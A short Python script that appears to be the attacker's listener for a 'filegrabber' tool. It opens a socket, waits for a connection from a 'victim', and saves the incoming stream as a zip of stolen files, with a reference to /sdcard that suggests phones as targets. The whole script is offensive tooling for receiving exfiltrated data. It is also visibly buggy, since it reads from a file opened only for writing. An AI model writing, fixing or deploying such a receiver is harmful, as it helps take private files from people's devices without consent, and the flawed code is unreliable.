import socket
import os,sys

u='\033[4m'
w='\x1b[00m'
r='\x1b[91m'
b='\x1b[36;1m'
y='\x1b[33m'

global host
global port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("127.0.0.1",8080))
s.listen(10)
print(y+'[-]'+w+' Server is running ...')
print(y+'[-]'+w+' waiting interraction from victim')
sc, address = s.accept()
print(b+'[+]'+w+' session opened from =>',address)
os.system('cd /sdcard')
f = open("filegrabber-result.zip","wb")
data = f.read()
while data != bytes(''.encode()):
    data = sc.recv(1024)
    while (data):
        f.write(data)
        data = sc.recv(1024)
f.close()
sc.close()
s.close()
